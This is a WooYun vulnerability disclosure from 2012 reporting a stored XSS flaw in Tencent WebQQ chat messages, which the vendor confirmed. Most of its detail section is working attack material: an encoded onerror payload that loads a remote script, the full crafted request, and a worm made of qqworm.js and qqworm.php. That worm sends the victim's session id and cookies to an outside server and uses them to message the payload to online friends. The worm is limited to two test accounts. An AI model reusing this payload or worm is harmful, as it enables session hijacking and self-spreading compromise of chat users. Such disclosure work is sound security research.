当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-08487

漏洞标题:腾讯WEBQQ聊天功能XSS - 附带消息蠕虫代码

相关厂商:腾讯

漏洞作者: gainover

提交时间:2012-06-19 15:33

修复时间:2012-08-03 15:33

公开时间:2012-08-03 15:33

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-06-19: 细节已通知厂商并且等待厂商处理中
2012-06-19: 厂商已经确认,细节仅向厂商公开
2012-06-29: 细节向核心白帽子及相关领域专家公开
2012-07-09: 细节向普通白帽子公开
2012-07-19: 细节向实习白帽子公开
2012-08-03: 细节向公众公开

简要描述:

由于找到百度Hi的一个存储型Xss, 不好意思的,于是我又联想到了WEBQQ,然后就找到了。。
这个挺有意思吧~~ 附带一个通过聊天消息传播的蠕虫代码。

详细说明:

1. 首先上传一个正常的图片,抓包并发送消息,看输入。


2. 然后再接收方,打开调试工具,看输出~


3. 可以看到,输入和输出有同样的内容。。
4. 试了下输入处可以在后面添加内容,接着我们就是想着如何构造输入,导致畸形输出。
5. 常规的 ",> 试都没试,这个要是没过滤的话。。就太低级的了。。
6. 首先测试 "> 这个经常导致存储型Xss的组合。 结果被过滤了。。


7. 接着,既然是json数据,我们用\u0022\u003e来表示 "> 应该也是可以的,结果应该服务器端解析错误。返回的retcode不等于0.


8. ****** 重点在这里 ******
由于WEBQQ的消息内容是动态推送的,我就联想到了, xxx.innerHTML="\u0022\u003e" 会输出为 ">,我做以下猜测。
\\u0022\\u003e -->(经过服务器端会输出为)--> \u0022\u003e -->(经过innerHTML输出为) ">
9. 基于上面这个想法,我们做了下面的测试,结果。。。侧漏了


10. 接着后就好办了。构造利用代码。

"onerror="$H.loadScript('http://www.toolmao.com/tool/qqworm.js')//


-->unicode编码转换

\u0022\u006f\u006e\u0065\u0072\u0072\u006f\u0072\u003D\u0022\u0024\u0048\u002e\u006c\u006f\u0061\u0064\u0053\u0063\u0072\u0069\u0070\u0074\u0028\u0027\u0068\u0074\u0074\u0070\u003A\u002f\u002f\u0077\u0077\u0077\u002e\u0074\u006f\u006f\u006c\u006d\u0061\u006f\u002e\u0063\u006f\u006d\u002f\u0074\u006f\u006f\u006c\u002f\u0071\u0071\u0077\u006f\u0072\u006d\u002e\u006a\u0073\u0027\u0029\u002f\u002f


--> 然后将 \ 全部转换为 \\ ,并且加入到发送的数据r字段的 offpic参数处。

{"to":3591158871,"face":471,"content":"[[\"offpic\",\"/b770c7e7-8032-42f9-9a75-50a69cb316d2\\u0022\\u006f\\u006e\\u0065\\u0072\\u0072\\u006f\\u0072\\u003D\\u0022\\u0024\\u0048\\u002e\\u006c\\u006f\\u0061\\u0064\\u0053\\u0063\\u0072\\u0069\\u0070\\u0074\\u0028\\u0027\\u0068\\u0074\\u0074\\u0070\\u003A\\u002f\\u002f\\u0077\\u0077\\u0077\\u002e\\u0074\\u006f\\u006f\\u006c\\u006d\\u0061\\u006f\\u002e\\u0063\\u006f\\u006d\\u002f\\u0074\\u006f\\u006f\\u006c\\u002f\\u0071\\u0071\\u0077\\u006f\\u0072\\u006d\\u002e\\u006a\\u0073\\u0027\\u0029\\u002f\\u002f\",\"icon_appblue.png\",49756],\"\\n\",[\"font\",{\"name\":\"test\",\"size\":\"10\",\"style\":[0,0,0],\"color\":\"000000\"}]]","msg_id":80810004,"clientid":"1181874","psessionid":"8368046764001e636f6e6e7365727665725f77656271714031302e3132382e36362e3131320000529000001be102620083d4486d0000000a4033414761756d5857636d00000028eb9e99a6355d08861632d2769b7b12c0c73d2bbec1da7df3b88da7a914a97d3f5549e4aed22a2137"}


11. 发送利用代码,接收方调用我们的外部文件。


12. 为了进一步演示此漏洞危害, 编写了以下蠕虫代码进行测试。
qqworm.js

//alert("a web qq worm by gainover");
$H.loadScript("http://localhost:8080/bugtest/qqworm.php?sid="+EQQ.getPsessionid()+"&cid="+EQQ.Model.ChatMsg.getClientidFromRpc()+"&cookie="+encodeURIComponent(document.cookie));


qqworm.php

<?
error_reporting(1);
include "./_class/xmlhttp.php";
//echo "web qq worm test";
$clientid=$_GET["cid"];
$psessionid=$_GET["sid"];
$ck=$_GET["cookie"];
function getQQ(){
//get online friends
global $clientid,$psessionid,$ck;
$req=new XMLHTTP();
$req->open("http://d.web2.qq.com/channel/get_online_buddies2?clientid=".$clientid."&psessionid=".$psessionid,"GET");
$req->addsendheader("User-Agent","Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)");
$req->addsendheader("Referer","http://d.web2.qq.com/proxy.html?v=20110331002&callback=1&id=2");
$req->addsendheader("Origin","http://d.web2.qq.com");
$req->addsendheader("Cookie",$ck);
//$req->addsendheader("Connection","Close");
$req->send();
$content=$req->resbody();
$req->close();
echo $content;
if($content){
$tmpobj=json_decode($content,true);
if($tmpobj["retcode"]==0){
$sendqq=array();
//从列表里将webQQ的用户加入
$qqlist=$tmpobj["result"];
foreach($qqlist as $qq){
//limited in test QQ number.
if(($qq["uin"]=="1974530220"||$qq["uin"]=="1049174111")){
$sendqq[]=$qq;
}
}
//var_dump($sendqq);
sendToQQ($sendqq);
}else{
echo "window.___tmp='".$tmpobj["retcode"]."';";
}
}else{
echo "window.___tmp='error';";
}
}
function sendMsg($qqobj){
global $clientid,$psessionid,$ck;
$qq=$qqobj["uin"];
$ctype=$qqobj["client_type"];
$req=new XMLHTTP();
$req->open("http://d.web2.qq.com/channel/send_buddy_msg2","POST");
$req->addsendheader("User-Agent","Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)");
$req->addsendheader("Referer","http://d.web2.qq.com/proxy.html?v=20110331002&callback=1&id=2");
$req->addsendheader("Origin","http://d.web2.qq.com");
$req->addsendheader("Cookie",$ck);
//$req->addsendheader("Connection","Close");
$sendstr="{\"to\":".$qq.",\"face\":471,\"content\":\"[\\\"show me some money!!\\\",[\\\"font\\\",{\\\"name\\\":\\\"test\\\",\\\"size\\\":\\\"10\\\",\\\"style\\\":[0,0,0],\\\"color\\\":\\\"000000\\\"}]]\",\"msg_id\":21910004,\"clientid\":\"".$clientid."\",\"psessionid\":\"".$psessionid."\"}";
if($ctype==41){
//if friend use web qq
$sendstr="{\"to\":".$qq.",\"face\":471,\"content\":\"[[\\\"offpic\\\",\\\"/40dcbb28-3ec0-4300-8613-41be547b6eeb\\\\u0022\\\\u006f\\\\u006e\\\\u0065\\\\u0072\\\\u0072\\\\u006f\\\\u0072\\\\u003D\\\\u0022\\\\u0024\\\\u0048\\\\u002e\\\\u006c\\\\u006f\\\\u0061\\\\u0064\\\\u0053\\\\u0063\\\\u0072\\\\u0069\\\\u0070\\\\u0074\\\\u0028\\\\u0027\\\\u0068\\\\u0074\\\\u0074\\\\u0070\\\\u003A\\\\u002f\\\\u002f\\\\u0077\\\\u0077\\\\u0077\\\\u002e\\\\u0074\\\\u006f\\\\u006f\\\\u006c\\\\u006d\\\\u0061\\\\u006f\\\\u002e\\\\u0063\\\\u006f\\\\u006d\\\\u002f\\\\u0074\\\\u006f\\\\u006f\\\\u006c\\\\u002f\\\\u0071\\\\u0071\\\\u0077\\\\u006f\\\\u0072\\\\u006d\\\\u002e\\\\u006a\\\\u0073\\\\u0027\\\\u0029\\\\u002f\\\\u002f\\\",\\\"icon5.png\\\",1844],\\\"\\\",\\\"\\\",[\\\"font\\\",{\\\"name\\\":\\\"Arial\\\",\\\"size\\\":\\\"10\\\",\\\"style\\\":[0,0,0],\\\"color\\\":\\\"339966\\\"}]]\",\"msg_id\":21910004,\"clientid\":\"".$clientid."\",\"psessionid\":\"".$psessionid."\"}";
}
//echo $sendstr;
$req->addsendlist("r",$sendstr);
$req->addsendlist("clientid",$clientid);
$req->addsendlist("psessionid",$psessionid);
$req->send();
$content=$req->resbody();
$req->close();
echo $content;
}
function sendToQQ($qqlist){
foreach($qqlist as $qq){
//echo $qq."<br/>";
sendMsg($qq);
sleep(10);
}
}
//main function
getQQ();
?>


13. 本蠕虫代码中为测试用,对被传播的在线用户进行了限制,其工作原理及真实演示效果见漏洞证明。

漏洞证明:

找到一个WEBQQ在线的用户,发送消息,当用户点开消息后,恶意代码将被执行,受害用户会 在自己【毫不知情的情况下】向在线的好友发送虚假消息,如果其好友也是WEBQQ在线,将被发送带有恶意代码的消息。~~

修复方案:

对服务器端逻辑不是很清楚, 消息代码里,对 \ 进行过滤? 仅猜测。。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2012-06-19 16:13

厂商回复:

thanks,感谢反馈,我们正在跟进修复中~

最新状态:

暂无